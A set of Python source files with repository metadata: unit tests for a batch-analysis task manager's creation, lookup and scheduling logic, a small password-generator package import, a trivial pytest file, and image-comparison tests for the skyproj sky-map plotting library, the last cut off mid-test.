self.assertEqual(result.result_id, task.result_id) def test_get_run_system_task_works_with_ids_only(self): for system in [self.system, self.seeded_system, self.non_deterministic_system]: task = task_manager.get_run_system_task( system=system.identifier, image_source=self.image_source.identifier, repeat=6, num_cpus=43, num_gpus=89 ) # Check it saves and loads with no issues task.save() loaded_task = RunSystemTask.objects.get({'_id': task.identifier}) self.assertEqual(task, loaded_task) def test_get_run_system_task_determines_stochastic_behaviour_with_only_ids(self): task = RunSystemTask( system=self.system, # Default system is DETERMINISTIC image_source=self.image_source, repeat=6, num_cpus=43, num_gpus=89, state=JobState.UNSTARTED ) task.save() for seed in range(10): result = task_manager.get_run_system_task(self.system.identifier, self.image_source.identifier, repeat=6, seed=seed) self.assertEqual(result, task) task = RunSystemTask( system=self.seeded_system, image_source=self.image_source, repeat=13, seed=13265, num_cpus=15, num_gpus=6, state=JobState.DONE, result=self.trial_result ) task.save() result = task_manager.get_run_system_task(self.seeded_system.identifier, self.image_source.identifier, repeat=13, seed=13265) self.assertEqual(result, task) for seed in range(10): result = task_manager.get_run_system_task(self.seeded_system.identifier, self.image_source.identifier, repeat=13, seed=seed) self.assertNotEqual(result, task) self.assertIsNone(result.pk) task = RunSystemTask( system=self.non_deterministic_system, image_source=self.image_source, repeat=22, seed=13265, num_cpus=15, num_gpus=6, state=JobState.DONE, result=self.trial_result ) task.save() for seed in range(10): result = task_manager.get_run_system_task(self.non_deterministic_system, self.image_source.identifier, repeat=22, seed=seed) self.assertEqual(result, task) def test_get_run_system_task_cannot_save_with_invalid_ids(self): with self.assertRaises(ValueError) as exp: task_manager.get_run_system_task( system=bson.ObjectId(), image_source=self.image_source.identifier, repeat=32 ) self.assertIn('system', str(exp.exception)) with self.assertRaises(ValueError) as exp: task_manager.get_run_system_task( system=self.system, image_source=bson.ObjectId(), repeat=32 ) self.assertIn('image_source', str(exp.exception)) class TestTaskManagerMeasureTrials(unittest.TestCase): system = None image_source = None metric = None trial_result_1 = None metric_result = None @classmethod def setUpClass(cls): dbconn.connect_to_test_db() cls.system = mock_types.MockSystem() cls.image_source = mock_types.MockImageSource() cls.metric = mock_types.MockMetric() cls.system.save() cls.image_source.save() cls.metric.save() cls.trial_result_1 = mock_types.MockTrialResult(image_source=cls.image_source, system=cls.system, success=True) cls.trial_result_1.save() cls.trial_result_2 = mock_types.MockTrialResult(image_source=cls.image_source, system=cls.system, success=True) cls.trial_result_2.save() cls.metric_result = mock_types.MockMetricResult(metric=cls.metric, trial_results=[cls.trial_result_1], success=True) cls.metric_result.save() def setUp(self): # Remove the collection as the start of the test, so that we're sure it's empty Task._mongometa.collection.drop() @classmethod def tearDownClass(cls): # Clean up after ourselves by dropping the collection for this model Task._mongometa.collection.drop() mock_types.MockMetricResult._mongometa.collection.drop() mock_types.MockTrialResult._mongometa.collection.drop() mock_types.MockMetric._mongometa.collection.drop() mock_types.MockImageSource._mongometa.collection.drop() mock_types.MockSystem._mongometa.collection.drop() def test_get_measure_trial_task_checks_for_existing_task(self): tmp_manager = MeasureTrialTask.objects mock_manager = mock.create_autospec(pymodm.manager.Manager) MeasureTrialTask.objects = mock_manager task_manager.get_measure_trial_task([self.trial_result_1], self.metric) MeasureTrialTask.objects = tmp_manager self.assertTrue(mock_manager.get.called) query = mock_manager.get.call_args[0][0] self.assertIn('trial_results', query) self.assertEqual({'$all': [self.trial_result_1._id]}, query['trial_results']) self.assertIn('metric', query) self.assertEqual(self.metric._id, query['metric']) def test_get_measure_trial_task_returns_existing(self): task = MeasureTrialTask( trial_results=[self.trial_result_1, self.trial_result_2], metric=self.metric, num_cpus=15, num_gpus=6, state=JobState.DONE, result=self.metric_result ) task.save() result = task_manager.get_measure_trial_task([self.trial_result_1, self.trial_result_2], self.metric) self.assertEqual(result.trial_results, task.trial_results) self.assertEqual(result.metric, task.metric) self.assertEqual(result.num_cpus, 15) self.assertEqual(result.num_gpus, 6) self.assertEqual(result.state, task.state) self.assertEqual(result.result_id, task.result_id) def test_get_measure_trial_task_returns_existing_changed_order(self): task = MeasureTrialTask( trial_results=[self.trial_result_1, self.trial_result_2], metric=self.metric, num_cpus=15, num_gpus=6, state=JobState.DONE, result=self.metric_result ) task.save() result = task_manager.get_measure_trial_task([self.trial_result_2, self.trial_result_1], self.metric) self.assertEqual(result.trial_results, task.trial_results) self.assertEqual(result.metric, task.metric) self.assertEqual(result.num_cpus, 15) self.assertEqual(result.num_gpus, 6) self.assertEqual(result.state, task.state) self.assertEqual(result.result_id, task.result_id) def test_get_measure_trial_task_returns_new_instance_if_no_existing(self): num_cpus = 12 num_gpus = 3 result = task_manager.get_measure_trial_task( trial_results=[self.trial_result_1, self.trial_result_2], metric=self.metric, num_cpus=num_cpus, num_gpus=num_gpus ) self.assertIsInstance(result, MeasureTrialTask) self.assertIsNone(result._id) self.assertEqual(result.trial_results, [self.trial_result_1, self.trial_result_2]) self.assertEqual(result.metric, self.metric) self.assertEqual(result.num_cpus, num_cpus) self.assertEqual(result.num_gpus, num_gpus) self.assertTrue(result.is_unstarted) self.assertFalse(result.is_running) self.assertFalse(result.is_finished) def test_get_measure_trial_task_works_with_ids_only(self): task = task_manager.get_measure_trial_task( trial_results=[self.trial_result_1.identifier], metric=self.metric.identifier, num_cpus=32, num_gpus=7 ) # Check it saves and loads with no issues task.save() loaded_task = MeasureTrialTask.objects.get({'_id': task.identifier}) self.assertEqual(task, loaded_task) def test_get_measure_trial_task_cannot_save_with_invalid_ids(self): with self.assertRaises(ValueError) as exp: task_manager.get_measure_trial_task( trial_results=[self.trial_result_1, bson.ObjectId()], metric=self.metric ) self.assertIn('trial_result', str(exp.exception)) with self.assertRaises(ValueError) as exp: task_manager.get_measure_trial_task( trial_results=[self.trial_result_1.identifier], metric=bson.ObjectId() ) self.assertIn('metric', str(exp.exception)) class TestTaskManagerCompareTrials(unittest.TestCase): system = None image_source = None metric = None trial_result_1 = None trial_result_2 = None metric_result = None @classmethod def setUpClass(cls): dbconn.connect_to_test_db() cls.system = mock_types.MockSystem() cls.image_source = mock_types.MockImageSource() cls.metric = mock_types.MockTrialComparisonMetric() cls.system.save() cls.image_source.save() cls.metric.save() cls.trial_result_1 = mock_types.MockTrialResult(image_source=cls.image_source, system=cls.system, success=True) cls.trial_result_2 = mock_types.MockTrialResult(image_source=cls.image_source, system=cls.system, success=True) cls.trial_result_1.save() cls.trial_result_2.save() cls.metric_result = tcmp.TrialComparisonResult( metric=cls.metric, trial_results_1=[cls.trial_result_1], trial_results_2=[cls.trial_result_2], success=True) cls.metric_result.save() def setUp(self): # Remove the collection as the start of the test, so that we're sure it's empty Task._mongometa.collection.drop() @classmethod def tearDownClass(cls): # Clean up after ourselves by dropping the collection for this model Task._mongometa.collection.drop() tcmp.TrialComparisonResult._mongometa.collection.drop() mock_types.MockTrialResult._mongometa.collection.drop() mock_types.MockMetric._mongometa.collection.drop() mock_types.MockImageSource._mongometa.collection.drop() mock_types.MockSystem._mongometa.collection.drop() def test_get_trial_comparison_task_checks_for_existing_task(self): tmp_manager = CompareTrialTask.objects mock_manager = mock.create_autospec(pymodm.manager.Manager) CompareTrialTask.objects = mock_manager task_manager.get_trial_comparison_task([self.trial_result_1], [self.trial_result_2], self.metric) CompareTrialTask.objects = tmp_manager self.assertTrue(mock_manager.get.called) query = mock_manager.get.call_args[0][0] self.assertIn('trial_results_1', query) self.assertEqual([self.trial_result_1._id], query['trial_results_1']) self.assertIn('trial_results_2', query) self.assertEqual([self.trial_result_2._id], query['trial_results_2']) self.assertIn('metric', query) self.assertEqual(self.metric._id, query['metric']) def test_get_trial_comparison_task_returns_existing(self): task = CompareTrialTask( trial_results_1=[self.trial_result_1], trial_results_2=[self.trial_result_2], metric=self.metric, num_cpus=15, num_gpus=6, state=JobState.DONE, result=self.metric_result ) task.save() result = task_manager.get_trial_comparison_task([self.trial_result_1], [self.trial_result_2], self.metric) self.assertEqual(result.trial_results_1, task.trial_results_1) self.assertEqual(result.trial_results_2, task.trial_results_2) self.assertEqual(result.metric, task.metric) self.assertEqual(result.num_cpus, 15) self.assertEqual(result.num_gpus, 6) self.assertEqual(result.state, task.state) self.assertEqual(result.result_id, task.result_id) def test_get_trial_comparison_task_returns_new_instance_if_no_existing(self): num_cpus = 12 num_gpus = 3 result = task_manager.get_trial_comparison_task( trial_results_1=[self.trial_result_1], trial_results_2=[self.trial_result_2], comparison_metric=self.metric, num_cpus=num_cpus, num_gpus=num_gpus ) self.assertIsInstance(result, CompareTrialTask) self.assertIsNone(result._id) self.assertEqual(result.trial_results_1, [self.trial_result_1]) self.assertEqual(result.trial_results_2, [self.trial_result_2]) self.assertEqual(result.metric, self.metric) self.assertEqual(result.num_cpus, num_cpus) self.assertEqual(result.num_gpus, num_gpus) self.assertTrue(result.is_unstarted) self.assertFalse(result.is_running) self.assertFalse(result.is_finished) def test_get_compare_trial_task_works_with_ids_only(self): task = task_manager.get_trial_comparison_task( trial_results_1=[self.trial_result_1.identifier], trial_results_2=[self.trial_result_2.identifier], comparison_metric=self.metric.identifier, num_cpus=907, num_gpus=67 ) # Check it saves and loads with no issues task.save() loaded_task = CompareTrialTask.objects.get({'_id': task.identifier}) self.assertEqual(task, loaded_task) def test_get_compare_trial_task_cannot_save_with_invalid_ids(self): with self.assertRaises(ValueError) as exp: task_manager.get_trial_comparison_task( trial_results_1=[self.trial_result_1, bson.ObjectId()], trial_results_2=[self.trial_result_2.identifier], comparison_metric=self.metric.identifier ) self.assertIn('trial_results_1', str(exp.exception)) with self.assertRaises(ValueError) as exp: task_manager.get_trial_comparison_task( trial_results_1=[self.trial_result_1.identifier], trial_results_2=[self.trial_result_2, bson.ObjectId()], comparison_metric=self.metric.identifier ) self.assertIn('trial_results_2', str(exp.exception)) with self.assertRaises(ValueError) as exp: task_manager.get_trial_comparison_task( trial_results_1=[self.trial_result_1.identifier], trial_results_2=[self.trial_result_2.identifier], comparison_metric=bson.ObjectId() ) self.assertIn('metric', str(exp.exception)) class TestTaskManagerScheduleTasksDatabase(unittest.TestCase): system = None image_source = None metric = None comparison_metric = None trial_result_1 = None trial_result_2 = None metric_result = None comaprison_result = None @classmethod def setUpClass(cls): dbconn.connect_to_test_db() cls.system = mock_types.MockSystem() cls.image_source = mock_types.MockImageSource() cls.metric = mock_types.MockMetric() cls.comparison_metric = mock_types.MockTrialComparisonMetric() cls.system.save() cls.image_source.save() cls.metric.save() cls.comparison_metric.save() cls.trial_result_1 = mock_types.MockTrialResult(image_source=cls.image_source, system=cls.system, success=True) cls.trial_result_2 = mock_types.MockTrialResult(image_source=cls.image_source, system=cls.system, success=True) cls.trial_result_1.save() cls.trial_result_2.save() cls.metric_result = mock_types.MockMetricResult(metric=cls.metric, trial_results=[cls.trial_result_1], success=True) cls.metric_result.save() cls.comparison_result = tcmp.TrialComparisonResult( metric=cls.comparison_metric, trial_results_1=[cls.trial_result_1], trial_results_2=[cls.trial_result_2], success=True) cls.comparison_result.save() def setUp(self): # Remove the collection as the start of the test, so that we're sure it's empty Task._mongometa.collection.drop() @classmethod def tearDownClass(cls): # Clean up after ourselves by dropping the collection for this model Task._mongometa.collection.drop() tcmp.TrialComparisonResult._mongometa.collection.drop() mock_types.MockTrialResult._mongometa.collection.drop() mock_types.MockMetric._mongometa.collection.drop() mock_types.MockImageSource._mongometa.collection.drop() mock_types.MockSystem._mongometa.collection.drop() def test_schedule_tasks_cancels_tasks_listed_as_running_on_this_node(self): # Set up initial database state this_node_task = ImportDatasetTask( module_name='test', path='/dev/null', state=JobState.RUNNING, node_id='here', job_id=10 ) this_node_task.save() different_node_task = ImportDatasetTask( module_name='test', path='/dev/null', state=JobState.RUNNING, node_id='there', job_id=14 ) different_node_task.save() mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True) mock_job_system.node_id = 'here' mock_job_system.is_job_running.return_value = False mock_job_system.is_queue_full.return_value = False task_manager.schedule_tasks(mock_job_system) task = ImportDatasetTask.objects.get({'_id': this_node_task._id}) self.assertEqual(JobState.UNSTARTED, task.state) task = ImportDatasetTask.objects.get({'_id': different_node_task._id}) self.assertEqual(JobState.RUNNING, task.state) self.assertTrue(mock_job_system.is_job_running.called) self.assertEqual(1, mock_job_system.is_job_running.call_count) self.assertEqual(10, mock_job_system.is_job_running.call_args[0][0]) def test_schedule_tasks_schedules_import_dataset_task(self): task = task_manager.get_import_dataset_task(module_name='test', path='/dev/null') task.save() mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True) mock_job_system.node_id = 'here' mock_job_system.is_job_running.return_value = False mock_job_system.is_queue_full.return_value = False task_manager.schedule_tasks(mock_job_system) self.assertEqual(mock.call(task), mock_job_system.run_task.call_args) def test_schedule_tasks_schedules_run_system_task(self): task = task_manager.get_run_system_task( image_source=self.image_source, system=self.system ) task.save() mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True) mock_job_system.node_id = 'here' mock_job_system.is_job_running.return_value = False mock_job_system.is_queue_full.return_value = False task_manager.schedule_tasks(mock_job_system) self.assertEqual(mock.call(task), mock_job_system.run_task.call_args) def test_schedule_tasks_schedules_measure_trial_task(self): task = task_manager.get_measure_trial_task( trial_results=[self.trial_result_1, self.trial_result_2], metric=self.metric ) task.save() mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True) mock_job_system.node_id = 'here' mock_job_system.is_job_running.return_value = False task_manager.schedule_tasks(mock_job_system) self.assertEqual(mock.call(task), mock_job_system.run_task.call_args) def test_schedule_tasks_schedules_compare_trials_task(self): task = task_manager.get_trial_comparison_task( trial_results_1=[self.trial_result_1], trial_results_2=[self.trial_result_2], comparison_metric=self.comparison_metric ) task.save() mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True) mock_job_system.node_id = 'here' mock_job_system.is_job_running.return_value = False task_manager.schedule_tasks(mock_job_system) self.assertEqual(mock.call(task), mock_job_system.run_task.call_args) def test_schedule_tasks_runs_many_tasks(self): # Set up initial database state tasks = [RunSystemTask( system=self.system, image_source=self.image_source, repeat=repeat, failure_count=0, state=JobState.UNSTARTED ) for repeat in range(10)] for task in tasks: task.save() mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True) mock_job_system.node_id = 'here' mock_job_system.is_job_running.return_value = True mock_job_system.run_task.return_value = 33 mock_job_system.is_queue_full.return_value = False task_manager.schedule_tasks(mock_job_system) self.assertEqual(len(tasks), mock_job_system.run_task.call_count) called_task_ids = set(call_args[0][0].pk for call_args in mock_job_system.run_task.call_args_list) self.assertEqual(set(task.pk for task in tasks), called_task_ids) def test_schedule_tasks_stops_early_if_queue_is_full(self): # Set up initial database state tasks = [RunSystemTask( system=self.system, image_source=self.image_source, repeat=repeat, failure_count=0, state=JobState.UNSTARTED ) for repeat in range(10)] for task_obj in tasks: task_obj.save() # Mock methods to fill a queue max_jobs = 5 queue_len = 0 def is_queue_full(): nonlocal queue_len return queue_len >= max_jobs def run_task(task): nonlocal queue_len queue_len += 1 return queue_len mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True) mock_job_system.node_id = 'here' mock_job_system.is_job_running.return_value = True mock_job_system.run_task.side_effect = run_task mock_job_system.is_queue_full.side_effect = is_queue_full task_manager.schedule_tasks(mock_job_system) self.assertEqual(max_jobs, mock_job_system.run_task.call_count) self.assertEqual(max_jobs, queue_len) def test_schedule_runs_least_failed_jobs_first(self): # Set up initial database state tasks = [RunSystemTask( system=self.system, image_source=self.image_source, repeat=repeat, failure_count=15 - repeat, state=JobState.UNSTARTED ) for repeat in range(10)] for task_obj in tasks: task_obj.save() # Mock methods to fill a queue max_jobs = 5 queue = [] def is_queue_full(): nonlocal queue return len(queue) >= max_jobs def run_task(task): nonlocal queue queue.append(task) return len(queue) mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True) mock_job_system.node_id = 'here' mock_job_system.is_job_running.return_value = True mock_job_system.run_task.side_effect = run_task mock_job_system.is_queue_full.side_effect = is_queue_full task_manager.schedule_tasks(mock_job_system) self.assertEqual(max_jobs, mock_job_system.run_task.call_count) self.assertEqual(max_jobs, len(queue)) called_task_ids = [call_args[0][0].pk for call_args in mock_job_system.run_task.call_args_list] self.assertEqual([task.pk for task in tasks[9:4:-1]], called_task_ids) def test_schedule_tasks_doesnt_rerun_completed_tasks(self): # Set up initial database state job_id = 221 node_id = 'this_node' unfinished_task = RunSystemTask( system=self.system, image_source=self.image_source, repeat=1, state=JobState.RUNNING, node_id=node_id, job_id=job_id ) unfinished_task.save() finished_task = RunSystemTask( system=self.system, image_source=self.image_source, repeat=1, state=JobState.DONE, result=self.trial_result_1 ) finished_task.save() mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True) mock_job_system.node_id = node_id mock_job_system.is_job_running.return_value = True mock_job_system.run_task.return_value = 33 mock_job_system.is_queue_full.return_value = False task_manager.schedule_tasks(mock_job_system) task = Task.objects.get({'_id': unfinished_task._id}) self.assertEqual(JobState.RUNNING, task.state) task = Task.objects.get({'_id': finished_task._id}) self.assertEqual(JobState.DONE, task.state) self.assertTrue(mock_job_system.is_job_running.called) self.assertEqual(1, mock_job_system.is_job_running.call_count) self.assertEqual(job_id, mock_job_system.is_job_running.call_args[0][0]) self.assertFalse(mock_job_system.run_task.called) def test_schedule_tasks_can_limit_task_ids(self): # Set up initial database state included_task = task_manager.get_measure_trial_task( trial_results=[self.trial_result_1], metric=self.metric ) included_task.save() excluded_task = task_manager.get_measure_trial_task( trial_results=[self.trial_result_2], metric=self.metric ) excluded_task.save() mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True) mock_job_system.node_id = 'here' mock_job_system.is_job_running.return_value = False mock_job_system.run_task.return_value = 33 mock_job_system.is_queue_full.return_value = False task_manager.schedule_tasks(mock_job_system, task_ids=[included_task.identifier]) self.assertEqual(1, mock_job_system.run_task.call_count) self.assertEqual(mock.call(included_task), mock_job_system.run_task.call_args) self.assertNotIn(mock.call(excluded_task), mock_job_system.run_task.call_args_list) class TestTaskManagerCountPendingTasks(unittest.TestCase): system = None image = None image_collection = None metric = None comparison_metric = None trial_result_1 = None trial_result_2 = None metric_result = None comaprison_result = None @classmethod def setUpClass(cls): dbconn.connect_to_test_db() dbconn.setup_image_manager() cls.image = mock_types.make_image() cls.image.save() cls.image_collection = ic.ImageCollection( images=[cls.image], timestamps=[1.2], sequence_type=ImageSequenceType.SEQUENTIAL ) cls.image_collection.save() cls.system = mock_types.MockSystem() cls.image_source = mock_types.MockImageSource() cls.metric = mock_types.MockMetric() cls.comparison_metric = mock_types.MockTrialComparisonMetric() cls.system.save() cls.metric.save() cls.comparison_metric.save() cls.trial_result_1 = mock_types.MockTrialResult( image_source=cls.image_collection, system=cls.system, success=True) cls.trial_result_2 = mock_types.MockTrialResult( image_source=cls.image_collection, system=cls.system, success=True) cls.trial_result_1.save() cls.trial_result_2.save() cls.metric_result = mock_types.MockMetricResult(metric=cls.metric, trial_results=[cls.trial_result_1], success=True) cls.metric_result.save() cls.comparison_result = tcmp.TrialComparisonResult( metric=cls.comparison_metric, trial_results_1=[cls.trial_result_1], trial_results_2=[cls.trial_result_2], success=True) cls.comparison_result.save() @classmethod def tearDownClass(cls): # Clean up after ourselves by dropping the collection for this model Task._mongometa.collection.drop() tcmp.TrialComparisonResult._mongometa.collection.drop() mock_types.MockTrialResult._mongometa.collection.drop() mock_types.MockMetric._mongometa.collection.drop() mock_types.MockSystem._mongometa.collection.drop() ic.ImageCollection._mongometa.collection.drop() im.Image._mongometa.collection.drop() dbconn.tear_down_image_manager() def test_returns_number_of_incomplete_tasks(self): # Set up initial database state. We have 3 tasks of each type, 1 complete, 1 running, 1 unstarted of each Task._mongometa.collection.drop() # Import dataset tasks task = ImportDatasetTask( module_name='test', path='/dev/null', state=JobState.UNSTARTED ) task.save() task = ImportDatasetTask( module_name='test', path='/dev/null', state=JobState.RUNNING, node_id='here', job_id=10 ) task.save() task = ImportDatasetTask( module_name='my_importer', path='/dev/null', state=JobState.DONE, result=self.image_collection ) task.save() # Run system tasks task = RunSystemTask( system=self.system, image_source=self.image_collection, repeat=1, state=JobState.UNSTARTED ) task.save() task = RunSystemTask( system=self.system, image_source=self.image_collection, repeat=2, state=JobState.RUNNING, node_id='here', job_id=11 ) task.save() task = RunSystemTask( system=self.system, image_source=self.image_collection, repeat=3, state=JobState.DONE, result=self.trial_result_1 ) task.save() # Measure trial tasks task = MeasureTrialTask( trial_results=[self.trial_result_1, self.trial_result_2], metric=self.metric, state=JobState.UNSTARTED ) task.save() task = MeasureTrialTask( trial_results=[self.trial_result_1, self.trial_result_2], metric=self.metric, state=JobState.RUNNING, node_id='here', job_id=12 ) task.save() task = MeasureTrialTask( trial_results=[self.trial_result_1, self.trial_result_2], metric=self.metric, state=JobState.DONE, result=self.metric_result ) task.save() # Compare trials tasks task = CompareTrialTask( trial_results_1=[self.trial_result_1], trial_results_2=[self.trial_result_2], metric=self.comparison_metric, state=JobState.UNSTARTED ) task.save() task = CompareTrialTask( trial_results_1=[self.trial_result_1], trial_results_2=[self.trial_result_2], metric=self.comparison_metric, state=JobState.RUNNING, node_id='here', job_id=12 ) task.save() task = CompareTrialTask( trial_results_1=[self.trial_result_1], trial_results_2=[self.trial_result_2], metric=self.comparison_metric, state=JobState.DONE, result=self.comparison_result ) task.save() # Tell me how many are not done # Should be 12 total, 4 of which are done, leaving 8 self.assertEqual(8, task_manager.count_pending_tasks())
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Python
password_generator/__init__.py
AndrewOwenMartin/password-generator
4d3e1345058371de14dd555f1e02785d919d803c
[ "Apache-2.0" ]
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null
password_generator/__init__.py
AndrewOwenMartin/password-generator
4d3e1345058371de14dd555f1e02785d919d803c
[ "Apache-2.0" ]
null
null
null
password_generator/__init__.py
AndrewOwenMartin/password-generator
4d3e1345058371de14dd555f1e02785d919d803c
[ "Apache-2.0" ]
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null
null
from password_generator.generate_password import frontend
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py
Python
test/test_example.py
jason71319jason/Interview-solved
42ca93a68475952753d185c325cb55c79e2e55e1
[ "MIT" ]
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2019-10-14T01:21:35.000Z
2022-01-08T23:55:15.000Z
test/test_example.py
jason71319jason/Interview-solved
42ca93a68475952753d185c325cb55c79e2e55e1
[ "MIT" ]
53
2019-10-03T17:16:43.000Z
2020-12-08T12:48:19.000Z
test/test_example.py
jason71319jason/Interview-solved
42ca93a68475952753d185c325cb55c79e2e55e1
[ "MIT" ]
96
2019-10-03T18:12:10.000Z
2021-03-14T19:41:06.000Z
import pytest def test_empty(): assert True
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py
Python
tests/test_healpix_maps.py
LSSTDESC/skyproj
c1e3365e958b2bd99e72e4e053da6b0ddaceb2b2
[ "BSD-3-Clause" ]
6
2022-02-22T15:44:35.000Z
2022-03-31T17:14:18.000Z
tests/test_healpix_maps.py
LSSTDESC/skyproj
c1e3365e958b2bd99e72e4e053da6b0ddaceb2b2
[ "BSD-3-Clause" ]
15
2022-01-11T22:06:16.000Z
2022-03-07T21:49:48.000Z
tests/test_healpix_maps.py
LSSTDESC/skyproj
c1e3365e958b2bd99e72e4e053da6b0ddaceb2b2
[ "BSD-3-Clause" ]
null
null
null
import os import numpy as np import healsparse as hsp import matplotlib matplotlib.use("Agg") from matplotlib.testing.compare import compare_images, ImageComparisonFailure # noqa: E402 import matplotlib.pyplot as plt # noqa: E402 import skyproj # noqa: E402 ROOT = os.path.abspath(os.path.dirname(__file__)) def _get_hspmap(): # Make a square noise field np.random.seed(1234) hspmap = hsp.HealSparseMap.make_empty(32, 4096, np.float32) poly = hsp.geom.Polygon(ra=[0.0, 10.0, 10.0, 0.0], dec=[0.0, 0.0, 10.0, 10.0], value=1.0) pixels = poly.get_pixels(nside=hspmap.nside_sparse) hspmap[pixels] = np.random.normal(size=pixels.size).astype(np.float32) # Add in a central square of fixed value. poly2 = hsp.geom.Polygon(ra=[5, 5.2, 5.2, 5.0], dec=[5, 5.0, 5.2, 5.2], value=3.0) pixels2 = poly2.get_pixels(nside=hspmap.nside_sparse) hspmap[pixels2] = 3.0 return hspmap def test_healsparse(tmp_path): """Test plotting a healsparse map.""" plt.rcParams.update(plt.rcParamsDefault) hspmap = _get_hspmap() fig = plt.figure(1, figsize=(8, 5)) fig.clf() ax = fig.add_subplot(111) sp = skyproj.McBrydeSkyproj(ax=ax) im, lon_raster, lat_raster, values_raster = sp.draw_hspmap(hspmap) sp.draw_inset_colorbar() fname = 'healsparse_one.png' fig.savefig(tmp_path / fname) err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0) if err: raise ImageComparisonFailure(err) # Try a different colormap on the zoom. fig = plt.figure(1, figsize=(8, 5)) fig.clf() ax = fig.add_subplot(111) sp = skyproj.McBrydeSkyproj(ax=ax) sp.draw_hspmap(hspmap, lon_range=[4.9, 5.3], lat_range=[4.9, 5.3], cmap=plt.colormaps['rainbow']) sp.draw_colorbar() fname = 'healsparse_two.png' fig.savefig(tmp_path / fname) err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0) if err: raise ImageComparisonFailure(err) fig = plt.figure(1, figsize=(8, 5)) fig.clf() ax = fig.add_subplot(111) sp = skyproj.McBrydeSkyproj(ax=ax, lon_0=-175.0) im, lon_raster, lat_raster, values_raster = sp.draw_hspmap(hspmap, zoom=False) sp.draw_inset_colorbar() fname = 'healsparse_three.png' fig.savefig(tmp_path / fname) err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0) if err: raise ImageComparisonFailure(err) def test_healpix(tmp_path): """Test plotting a healpix map.""" plt.rcParams.update(plt.rcParamsDefault) hspmap = _get_hspmap() hpxmap = hspmap.generate_healpix_map() fig = plt.figure(1, figsize=(8, 5)) fig.clf() ax = fig.add_subplot(111) sp = skyproj.McBrydeSkyproj(ax=ax) im, lon_raster, lat_raster, values_raster = sp.draw_hpxmap(hpxmap, nest=True) sp.draw_inset_colorbar() # These should match the healsparse maps, so we can use the same comparison. fname = 'healsparse_one.png' fig.savefig(tmp_path / fname) err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0) if err: raise ImageComparisonFailure(err) fig = plt.figure(1, figsize=(8, 5)) fig.clf() ax = fig.add_subplot(111) sp = skyproj.McBrydeSkyproj(ax=ax) sp.draw_hpxmap(hpxmap, nest=True, lon_range=[4.9, 5.3], lat_range=[4.9, 5.3], cmap=plt.colormaps['rainbow']) sp.draw_colorbar() fname = 'healsparse_two.png' fig.savefig(tmp_path / fname) err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0) if err: raise ImageComparisonFailure(err) def test_healsparse_widemask(tmp_path): """Test plotting a healsparse wide mask.""" plt.rcParams.update(plt.rcParamsDefault) # Start with a 1-byte width map hspmap = hsp.HealSparseMap.make_empty(32, 4096, hsp.WIDE_MASK, wide_mask_maxbits=7) poly = hsp.geom.Polygon(ra=[0.0, 10.0, 10.0, 0.0], dec=[0.0, 0.0, 10.0, 10.0], value=1.0) pixels = poly.get_pixels(nside=hspmap.nside_sparse) hspmap.set_bits_pix(pixels, [0]) poly2 = hsp.geom.Polygon(ra=[5, 5.2, 5.2, 5.0], dec=[5, 5.0, 5.2, 5.2], value=3.0) pixels2 = poly2.get_pixels(nside=hspmap.nside_sparse) hspmap.set_bits_pix(pixels2, [4]) fig = plt.figure(1, figsize=(8, 5)) fig.clf() ax = fig.add_subplot(111) sp = skyproj.McBrydeSkyproj(ax=ax) im, lon_raster, lat_raster, values_raster = sp.draw_hspmap(hspmap) sp.draw_inset_colorbar() fname = 'healsparse_wide_one.png' fig.savefig(tmp_path / fname) err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0) if err: raise ImageComparisonFailure(err) # And do the same with a 2-byte wide map hspmap = hsp.HealSparseMap.make_empty(32, 4096, hsp.WIDE_MASK, wide_mask_maxbits=15) poly = hsp.geom.Polygon(ra=[0.0, 10.0, 10.0, 0.0], dec=[0.0, 0.0, 10.0, 10.0], value=1.0) pixels = poly.get_pixels(nside=hspmap.nside_sparse) hspmap.set_bits_pix(pixels, [0]) poly2 = hsp.geom.Polygon(ra=[5, 5.2, 5.2, 5.0], dec=[5, 5.0, 5.2, 5.2], value=3.0) pixels2 = poly2.get_pixels(nside=hspmap.nside_sparse) hspmap.set_bits_pix(pixels2, [10]) fig = plt.figure(1, figsize=(8, 5)) fig.clf() ax = fig.add_subplot(111) sp = skyproj.McBrydeSkyproj(ax=ax) im, lon_raster, lat_raster, values_raster = sp.draw_hspmap(hspmap) sp.draw_inset_colorbar() fname2 = 'healsparse_wide_one_alt.png' fig.savefig(tmp_path / fname2) # Compare to the previoues one. err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname2, 40.0) if err: raise ImageComparisonFailure(err) def test_hpxpix(tmp_path): """Test plotting healpix pixels.""" plt.rcParams.update(plt.rcParamsDefault) hspmap = _get_hspmap() pixels = hspmap.valid_pixels values = hspmap[pixels] fig = plt.figure(1, figsize=(8, 5)) fig.clf() ax = fig.add_subplot(111) sp = skyproj.McBrydeSkyproj(ax=ax) im, lon_raster, lat_raster, values_raster = sp.draw_hpxpix(hspmap.nside_sparse, pixels, values, nest=True) sp.draw_inset_colorbar() fname = 'healsparse_one.png' fig.savefig(tmp_path / fname) err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0) if err: raise ImageComparisonFailure(err) fig = plt.figure(1, figsize=(8, 5)) fig.clf() ax = fig.add_subplot(111) sp = skyproj.McBrydeSkyproj(ax=ax) sp.draw_hpxpix(hspmap.nside_sparse, pixels, values, nest=True, lon_range=[4.9, 5.3], lat_range=[4.9, 